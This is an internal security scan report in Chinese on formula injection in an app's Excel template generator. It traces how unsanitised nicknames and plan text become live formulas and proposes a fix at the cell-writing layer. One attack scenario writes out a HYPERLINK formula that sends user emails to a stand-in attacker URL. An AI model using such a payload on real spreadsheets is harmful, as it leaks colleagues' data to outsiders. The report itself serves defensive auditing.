B6 掃描報告 — Excel 範本的底層產生機制(CM-2077)

範圍:app/module_frame/excel_template/ 整個資料夾,7 檔/1,656 行。 掃描工具:Claude Code 官方 claude-security plugin,effort low,focus 生產程式碼。 掃描基準 commit:f80b9f6824fd(工作區有其他 session 的未提交改動)。 驗證章:verified。只掃不修。 接續 B4(scan-B4.md)的呼叫端脈絡;B4 的 runner 已結束,本棒先讀完 B4 報告再接。


1. 一句話結論

使用者填的文字寫進 Excel 時,只要開頭是 =,就會變成一個活的公式;從資料進系統到做成 Excel 檔,一共有六個地方可以擋,實際上一個都沒擋。 這一棒另外查出一個 B4 沒看到、而且比較容易被利用的入口:任何一個登入的使用者,只要把自己的暱稱改成一段公式,這段公式就會被塞進全公司每一份下載的範本裡——連「空白範本」也會。

好消息是修法的工具已經有人做好了:CM-2055 在修正分支上新建了一支「把儲存格標成純文字」的共用函式,這一棒要修的地方直接用它,不必再寫一份。


2. 這一棒在檢查什麼

系統有一個功能:顧問可以把整份系統安全計畫(SSP)或合規範本下載成一個 Excel 檔,帶去跟客戶訪談,填完再上傳回來。B4 那棒查的是「誰能按下載」,這一棒查的是**「下載的那個 Excel 檔是怎麼做出來的」**——也就是把資料一格一格寫進 Excel 的那套底層程式。

這套程式有三個人在用:B4 的 SSP 匯出、B5 的範本匯出,以及帳號模組的「使用者匯入範本」。所以這裡有問題,三邊都會被波及。

本棒同時要收一條跨棒接力的線:O3b 查出「Excel 上傳進來時沒有中和公式字元」,B4 查出「匯出時沒擋、而且檔案設成打開就重算公式」,中間那段——寫進格子的那一步——就在這一棒。


現況(2026-10-01):本棒各條後來的處理結果如下(過程紀錄保留,不改)。

  • B6-1(暱稱/設備名稱進下拉分頁變公式)=M11 第 21 條,✅ 已修(CM-2189,commit 895db0ef8,1.21.0 出貨)。
  • B6-2(已填入內容模式寫入計畫文字)=M11 第 20 條,✅ 已修(CM-2189,commit 895db0ef8,1.21.0 出貨)。
  • 「說明」頁範本名稱那處(讀程式補的):併 CM-2189 同一批修完,未另列條目。

3. 掃到什麼:總覽

# 這是什麼問題 出事會怎樣 要先有什麼才打得到 在哪裡 嚴重度
B6-1 使用者的暱稱、設備名稱等資料,會原樣寫進範本裡的隱藏下拉清單分頁;開頭是 = 就變成公式 同事下載任何一份範本、打開、按下 Excel 的「啟用編輯」,那段公式就在他電腦上跑——可以把同一個檔案裡全公司使用者的 email 清單、設備 IP 送到攻擊者的網站,或偽裝成一個看起來可信的釣魚連結 ① 任何一個登入帳號就夠(改自己的暱稱不需要任何權限);或有權限改設備/資訊系統/部門名稱的人
② 有人下載範本並用 Excel 打開、按下啟用編輯
app/module_frame/excel_template/lookup_builder.py:47(build_lookup_sheet)
app/module_frame/excel_template/lookup_builder.py:91-93(build_lookup_sheet_with_helpers)
中
B6-2 「已填入內容」模式的範本,把計畫裡存的文字(人名、元件說明、控制項敘述等)原樣寫進格子(=總表第 148 項的寫入點,本棒從另一側確認) 同上,公式在打開檔案的人電腦上執行 ① 能編輯該計畫內容的人(專案負責人)
② 有人下載「已填入內容」的範本並打開、啟用編輯
app/module_frame/excel_template/generator.py:578(_write_filled_rows)
app/module_frame/excel_template/generator.py:319(_build_vertical_single_row_sheet)
低(投票時從中調降,理由見 4.2)

另外一處是我讀程式補的、沒經過投票:範本第一頁「說明」上的「範本名稱」也是原樣寫入(generator.py:227 組資料、:247 寫入),詳見第 5 節。


4. 每條發現的詳述

4.1 B6-1 改自己的暱稱,就能在全公司的範本裡埋公式(本棒新發現)

白話說明

範本裡有好幾個下拉選單,例如「選一位負責人」「選一台設備」。這些選項不是寫死的,是每次下載時從資料庫撈出來,放在幾張藏起來的分頁(_lookup_users、_lookup_devices 等)裡。放進去的內容包括:每位使用者的暱稱和 email、每台設備的名稱/IP/作業系統、每個部門名稱、每個資訊系統的名稱和說明。

這些字是原封不動寫進格子的。而產生 Excel 用的那套程式庫(openpyxl)有個規則:寫進去的字串只要以 = 開頭,它就自動把這格當成公式。再加上整個檔案被設成「打開時重算所有公式」(generator.py:137),打開檔案那一刻,這些字就不再是文字,而是會執行的指令。

為什麼這條比 B4 已知的那條更要緊

B4 那條(總表第 148 項)要攻擊者先能編輯某份計畫的內容。這一條門檻低得多:

  • 系統有一個「修改我的個人資料」功能(PUT /user-profile/<自己的編號>,在 jedi-iam 套件裡),任何登入的人都能改自己的暱稱,唯一的檢查是「你改的是不是你自己」,暱稱內容完全不檢查(只驗是不是文字、長度 255 以內)。
  • 下拉清單是全公司共用的,所以一個人改了暱稱,之後公司裡任何人下載的任何一份範本都帶著這段公式——三種下載入口(從合規範本、從某份計畫、從框架版本)都會。
  • 「空白範本」也有。空白範本本來看起來最無害,但它一樣帶著下拉清單。

攻擊情境

一般員工把暱稱改成 =HYPERLINK("https://攻擊者網址/?d="&'_lookup_users'!B2,"點此確認")。一週後,顧問下載範本去客戶那裡訪談,打開 Excel 時這段公式就在他電腦上執行。更進一步的寫法可以把整張使用者清單(全公司 email)串起來送出去。

在哪裡

位置 是什麼
app/module_frame/excel_template/lookup_builder.py:47 build_lookup_sheet:單欄下拉清單,逐格原樣寫入
app/module_frame/excel_template/lookup_builder.py:91 build_lookup_sheet_with_helpers:下拉顯示文字(例如「暱稱 」)原樣寫入
app/module_frame/excel_template/lookup_builder.py:93 同一支:自動帶入用的輔助欄(email、姓名、IP、作業系統、系統說明)原樣寫入
app/module_frame/excel_template/generator.py:137 把檔案設成「打開時重算所有公式」
app/module_frame/service/ssp_import_template_app_service.py:705-722 資料來源:把暱稱放進下拉資料,沒有任何處理

怎麼修

見第 6 節——B6-1 與 B6-2 用同一個修法,在同一套檔案裡一次改完。

首腦核對註記:三個獨立檢查員分別從「打不打得到」「出事多嚴重」「有沒有其他機制擋得住」三個角度投票,三票全部認定成立(兩票判中、一票判低,最終維持中)。我另外開了 jedi-iam 的原始碼核對:user_route.py:240 只比對「是不是本人」,serializers/user.py:53 的暱稱欄是 fields.String(),沒有內容檢查——屬實。


4.2 B6-2 「已填入內容」的範本把計畫文字原樣寫進格子(=總表第 148 項,從另一側確認)

白話說明

下載範本時可以選「已填入內容」模式,系統會把這份計畫目前的內容先填好:參與人員姓名與地址、元件標題與說明、設備清單、參考文件檔名、每條控制項的實作敘述。這些字寫進格子的方式跟 B6-1 一樣——原樣寫入,= 開頭就變公式。

寫入的地方有兩個:多筆資料的分頁走 _write_filled_rows(generator.py:578),只有一筆資料的直式分頁(「基本資料」「受評標的」)走 _build_vertical_single_row_sheet(generator.py:319)。B4 報告只點了 578,319 是同一個病的第二個寫入點,修的時候要一起修。

為什麼投票結果是「低」,跟 B4 判的「中」不一樣

三位檢查員都認為成立,但三票都評「低」,理由是攻擊者要先有「編輯這份計畫」的權限(專案負責人),門檻比 B6-1 高。B4 那次投票評「中」。兩次投票看的是同一個寫入點,差在對前提的看法不同。建議總表第 148 項維持原本的「中」,理由有兩個:

  • O3b 已經證實,Excel 上傳這條路也能把公式存進來。
  • 總表第 125 項(O4)那條「覆寫範本完全不檢查權限」的漏洞,會讓「要先有編輯權」這個前提失效。

所以 B6-2 視為第 148 項的補充確認,不另開新項次。

在哪裡

位置 是什麼
app/module_frame/excel_template/generator.py:578 _write_filled_rows:多筆資料分頁逐格原樣寫入(B4 已點名)
app/module_frame/excel_template/generator.py:319 _build_vertical_single_row_sheet:直式分頁的值原樣寫入(B4 沒點到)

首腦核對註記:三票全數認定成立,三票都評「低」,所以工具把嚴重度從中調降為低。


5. 這一條路從進來到出去,總共有幾個地方可以擋?實際擋了幾個?

這是派工時要求本棒收口的問題。答案:六個地方可以擋,實際擋了零個。

使用者的文字要變成別人電腦上的公式,一路要經過這些關卡:

# 關卡 在哪裡 有沒有擋 說明
1 網頁表單送進來時(改計畫內容、改暱稱、改設備名稱等) 例:api/oscal/serializers/ssp/ssp_party.py:13、jedi-iam serializers/user.py:53 ❌ 沒擋 只檢查長度或型別,不看開頭字元
2 上傳 Excel 解析時 app/oscal/service/excel_parser/sheet_handlers.py:64(_coerce_cell) ❌ 沒擋 只做型別整理(數字轉文字等),= 開頭原樣收下(O3b 已查證)
3 組裝下載資料時 app/module_frame/service/ssp_import_template_app_service.py(B4 範圍) ❌ 沒擋 從資料庫撈出來直接交給產生器
4 寫進下拉清單分頁時 app/module_frame/excel_template/lookup_builder.py:47、:91-93 ❌ 沒擋 =B6-1
5 寫進資料分頁時 app/module_frame/excel_template/generator.py:578、:319 ❌ 沒擋 =B6-2
6 寫進「說明」頁時 app/module_frame/excel_template/generator.py:247(範本名稱,資料在 :227 組成) ❌ 沒擋 我讀程式補的、沒經過投票:合規範本的名稱原樣寫進說明頁。要能改範本名稱才打得到,門檻比 B6-2 高,但修法完全一樣,順手一起修

另外還有一個讓情況更糟、但不是病根的設定:generator.py:137 把檔案設成「打開時重算所有公式」。這行不能直接拿掉——範本本身有一批系統刻意放的「選了負責人就自動帶出 email」的公式(generator.py:498-543),需要它才會算。病根是「資料被當成公式」,不是「公式會算」。

中和應該放在哪一層?——寫進格子的那一層(第 4、5、6 關)

理由三個:

  1. 只有這一層是必經之路。 資料進系統的入口太多:網頁表單、Excel 上傳、Word 上傳、jedi-iam 的個人資料、資產模組的設備與資訊系統。擋在入口要每個都改,漏一個就破功,而且以後新增入口又會漏。反過來,所有資料要變成 Excel,都要經過這三支寫入函式。
  2. 入口不該改資料。 使用者寫「- 尚未實作」這種條列是正常內容,進來時就改掉,等於竄改使用者的原文。問題只在「做成 Excel 那一刻被誤當公式」,所以只在那一刻處理就好。
  3. 這份 Excel 還會被上傳回來,所以修法不能改動內容本身(見第 6 節)。

入口那一層(第 1、2 關)不建議也去擋。如果決策者想要雙保險,比較合理的做法是只在第 2 關(上傳解析)記一筆警告日誌、不改內容,這樣至少看得到有人在試。


6. 怎麼修(B6-1 與 B6-2 一起)

用 CM-2055 已經做好的那支函式,不要再寫一份。

CM-2055(FR-114 第 5A-4 卡,合併了原本的 5C-7)已經在 jedi-common 新建了 jedi_common/utils/export_safety.py,裡面有兩支函式:

  • neutralize_formula(value):在開頭加一個單引號。不適合這裡用——這份範本會被上傳回來,單引號會被當成內容讀回去,每下載、上傳一趟就多一撇。
  • **set_text_cell(cell, value):內容一個字都不改,只把這格標記成「純文字」。這裡要用這一支。**我實際測過:用它寫入 =HYPERLINK(...) 後存檔再讀回,讀到的還是原字串、型別是文字,不是公式。CM-2055 在 OSCAL 控制項匯出(ssp_control_impl_import_service.py:139/163)也是基於同樣理由選了這支。

要改的地方(都改成 set_text_cell(ws.cell(row=..., column=...), value)):

檔案:行 函式 改什麼
app/module_frame/excel_template/lookup_builder.py:47 build_lookup_sheet 下拉清單的值
app/module_frame/excel_template/lookup_builder.py:91、:93 build_lookup_sheet_with_helpers 下拉顯示文字、輔助欄
app/module_frame/excel_template/generator.py:578 _write_filled_rows 資料分頁的值
app/module_frame/excel_template/generator.py:319 _build_vertical_single_row_sheet 直式分頁的值
app/module_frame/excel_template/generator.py:247 _build_intro_sheet 說明頁 B 欄(範本名稱等)

⚠️ 開工單時務必寫明四件事:

  1. 系統自己的公式不能一起改掉。 generator.py:543 的 _apply_autofill_formulas 是刻意寫入的「自動帶入」公式,這支不能套 set_text_cell,否則自動帶入功能會壞掉。只改上表那幾行。
  2. 前提:那支函式還沒發版。 export_safety.py 目前只在套件 monorepo 的 fix/security-b1 分支(commit 38de2886)上;主專案 pyproject.toml 仍然鎖 jedi-common==1.2.0。本卡要排在 CM-2055 那一包之後,或在同一個修正分支上做。
  3. 波及帳號模組。 「使用者匯入範本」(app/auth/service/user_import_template_app_service.py:97)沒有用 lookup_builder,它自己另寫了一份下拉清單,把公司名、部門名、角色名原樣寫進去。改 lookup_builder 蓋不到它,要另外套 set_text_cell。它的門檻較高(要能改部門或角色名稱,通常是管理員)。
  4. 對上傳解析那端沒有影響。 app/oscal/service/excel_parser/sheet_handlers.py 只讀這套檔案的欄位定義(sheet_definitions.py),不用寫入函式。set_text_cell 標過的格子讀回來仍是原字串,匯入行為不變。

修完的手測清單:


7. 三個固定問題:這套檔案的守門狀況

派工時要求對每支公開方法問三件事:有沒有做權限檢查、有沒有用上檢查的結果、是不是每個分支都有守到。

這套檔案裡沒有任何一支方法做權限或歸屬檢查,這是正常的。 我逐檔 grep 過 permission、authz、Forbidden、tenant、user_id、session:7 支檔裡唯一命中的是 sheet_definitions.py 的註解文字(說明下拉資料來自公司範圍)。這套程式只負責「把資料排成 Excel」,不碰資料庫,也不知道是誰在呼叫。卡上要求另外標記的「判斷邏輯散落在不該散落的地方」,沒有發生。

所以守門責任完全在呼叫端(B4、B5)。B4 已查出「從某份計畫下載」那一條沒檢查這份計畫是不是呼叫者的(總表第 128 項,跨客戶)。這一棒沒有新的權限發現。

至於「同一支函式,一條路有做、另一條路沒做」:這次是所有路都沒做,所以不是「守了一半」的形狀。但 B4 報告的修法建議只點了 generator.py:578 這一處,實際上有五個寫入點(第 6 節表格)。只修 578 的話,會變成第 148 項修好了、B6-1 那條門檻更低的路還開著——換句話說,修的時候自己會造出一個「守了一半」。開卡時務必把五個寫入點逐一列成驗收項。


8. 這份結果可信到什麼程度

分兩層講:

「這兩條存在嗎」——可信度高。 三個獨立檢查員對兩條發現各投一票,6 票全數投出、沒有漏投,兩條都是 3 票全部認定成立。關鍵事實我也自己開檔、實際跑過程式確認:

  • openpyxl 3.1.5 的行為我實際跑過:= 開頭的字串被標成公式;+、-、@、Tab 開頭的在 Excel 檔裡不會被當公式(它們在 CSV 才會出事),所以這份 Excel 真正的觸發字元只有 =。set_text_cell 對這幾個字元都會處理,無害。
  • jedi-iam 的暱稱修改端點不檢查內容:開原始碼確認屬實。
  • set_text_cell 寫入再讀回的結果:實際跑過,原字串、純文字型別,不會多出一撇。

「只有這兩條嗎」——不保證。

  1. 這次用的是最快的掃描檔位(effort low):一輪研究員加一輪投票,沒有跑威脅建模與廣度掃描。
  2. 第 5 節第 6 關(說明頁的範本名稱)與第 6 節第 3 點(帳號模組的使用者匯入範本)是我讀程式讀出來的,工具沒有報,沒有經過投票。
  3. 全程沒有實際打任何網址、沒有真的用 Excel 打開攻擊檔案。「會被當成公式」是用程式庫實際跑出來確認的;「Excel 打開後會送出資料」則是依 Excel 已知行為推斷的。

9. 執行概況(數字,給工程師看)

項目 數值
掃描範圍 7 檔 / 1,656 行(app/module_frame/excel_template/ 全目錄)
基準 commit f80b9f6824fd(工作區 dirty,有平行 session 改動)
檔位 effort low,focus 生產程式碼
研究員 派 2 支,回 2 支
原始候選 2 條,去重後 2 條
投票 三個檢查員 × 2 條 = 6 票,全數投出
票型 B6-1 3:0(兩票中、一票低,維持中);B6-2 3:0(三票都評低,從中調降為低)
驗證章 verified(CLAUDE-SECURITY-REVISION-f80b9f6824fd-dirty.json)
工具 run ID wf_82bb0393-4dc
耗時 約 15 分鐘(8 個 agent,零失敗)
工具產出原始報告 CLAUDE-SECURITY-20260923-095130/(未入版控)

10. 待首腦裁決(掃描當時;2026-10-01 同步:B6-1 與第 148 項已合併修完,CM-2189,1.21.0 出貨;第 3、4 項查不到處理紀錄故保留原文)

  1. B6-1 要不要登記成總表的新項次(建議要:它是新入口,門檻是「任何登入帳號」,而且波及所有範本,包括空白範本)。
  2. 修正卡要不要和第 148 項合併成一張(建議合併:同一套檔案、同一支函式,拆開修會造出「守了一半」)。要排在 CM-2055 的 jedi-common 發版之後。
  3. 帳號模組的使用者匯入範本(user_import_template_app_service.py:97,範圍外、未經投票)要不要併進同一張卡。
  4. 上傳端(第 2 關)要不要加警告日誌:本棒建議只加日誌、不改內容,由決策者定。